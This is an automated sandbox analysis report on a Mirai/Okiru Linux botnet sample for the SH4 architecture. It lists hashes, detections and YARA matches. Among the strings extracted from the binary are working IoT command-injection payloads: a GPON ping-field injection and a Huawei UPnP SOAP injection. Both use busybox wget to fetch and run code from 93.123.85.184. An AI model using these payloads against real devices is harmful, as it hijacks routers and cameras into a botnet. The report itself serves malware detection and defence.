Linux Analysis Report
sh4.elf

Overview

General Information

Sample name: sh4.elf
Analysis ID: 1545738
MD5: 36c869db6adbd26fde6ff88fd1970ff5
SHA1: 0c6aebb3d3df194baa35d087286aee15f8bc7679
SHA256: 90bba2b2909c533de84811aa23442d31c5b72b847b0539eea6b2b3fd8e29bea1
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Sample deletes itself
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: sh4.elf Avira: detected
Source: sh4.elf ReversingLabs: Detection: 63%
Source: /tmp/sh4.elf (PID: 5530) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: sh4.elf String found in binary or memory: http://93.123.85.184/Yboats.arm7;chmod
Source: sh4.elf String found in binary or memory: http://93.123.85.184/Yboats.mips
Source: sh4.elf String found in binary or memory: http://93.123.85.184/Yboats.mips;
Source: sh4.elf String found in binary or memory: http://93.123.85.184/Yboats.mpsl;chmod
Source: sh4.elf String found in binary or memory: http://93.123.85.184/Yboats.x86
Source: sh4.elf String found in binary or memory: http://93.123.85.184/adb;
Source: sh4.elf String found in binary or memory: http://93.123.85.184/comtrend%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
Source: sh4.elf String found in binary or memory: http://93.123.85.184/gpon443
Source: sh4.elf String found in binary or memory: http://purenetworks.com/HNAP1/
Source: sh4.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sh4.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

barindex
Source: sh4.elf, type: SAMPLE Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5532.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5534.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5530.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://93.123.85.184/gpon443+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 93.123.85.184 -l /tmp/.ybot -r Yboats.mips; /bin/busybox chmod 777 * /tmp/.ybot; /tmp/.ybot huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://93.123.85.184/gpon443+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /HNAP1/ HTTP/1.0
Source: Initial sample String containing 'busybox' found: var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/SofiasshdbashhttpdtelnetddropbearropbearencodersystemYbot/root/dvr_gui//root/dvr_app//anko-app//opt/,
Source: ELF static info symbol of initial sample .symtab present: no
Source: sh4.elf, type: SAMPLE Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5532.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5534.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5530.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: classification engine Classification label: mal100.troj.evad.linELF@0/0@2/0

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/sh4.elf (PID: 5530) File: /tmp/sh4.elf Jump to behavior
Source: /tmp/sh4.elf (PID: 5530) Queries kernel information via 'uname': Jump to behavior
Source: sh4.elf, 5530.1.00007fffc3ee5000.00007fffc3f06000.rw-.sdmp, sh4.elf, 5532.1.00007fffc3ee5000.00007fffc3f06000.rw-.sdmp, sh4.elf, 5534.1.00007fffc3ee5000.00007fffc3f06000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 5530.1.000055b4aae38000.000055b4aae9b000.rw-.sdmp, sh4.elf, 5532.1.000055b4aae38000.000055b4aae9b000.rw-.sdmp, sh4.elf, 5534.1.000055b4aae38000.000055b4aae9b000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 5530.1.000055b4aae38000.000055b4aae9b000.rw-.sdmp, sh4.elf, 5532.1.000055b4aae38000.000055b4aae9b000.rw-.sdmp, sh4.elf, 5534.1.000055b4aae38000.000055b4aae9b000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 5530.1.00007fffc3ee5000.00007fffc3f06000.rw-.sdmp, sh4.elf, 5532.1.00007fffc3ee5000.00007fffc3f06000.rw-.sdmp, sh4.elf, 5534.1.00007fffc3ee5000.00007fffc3f06000.rw-.sdmp Binary or memory string: Ux86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf
Source: sh4.elf, 5532.1.00007fffc3ee5000.00007fffc3f06000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: sh4.elf, type: SAMPLE
Source: Yara match File source: 5532.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5534.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5530.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5530, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR
Source: Yara match File source: sh4.elf, type: SAMPLE
Source: Yara match File source: 5532.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5534.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5530.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5530, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: sh4.elf, type: SAMPLE
Source: Yara match File source: 5532.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5534.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5530.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5530, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR
Source: Yara match File source: sh4.elf, type: SAMPLE
Source: Yara match File source: 5532.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5534.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5530.1.00007fa344400000.00007fa34441c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5530, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5532, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR
No contacted IP infos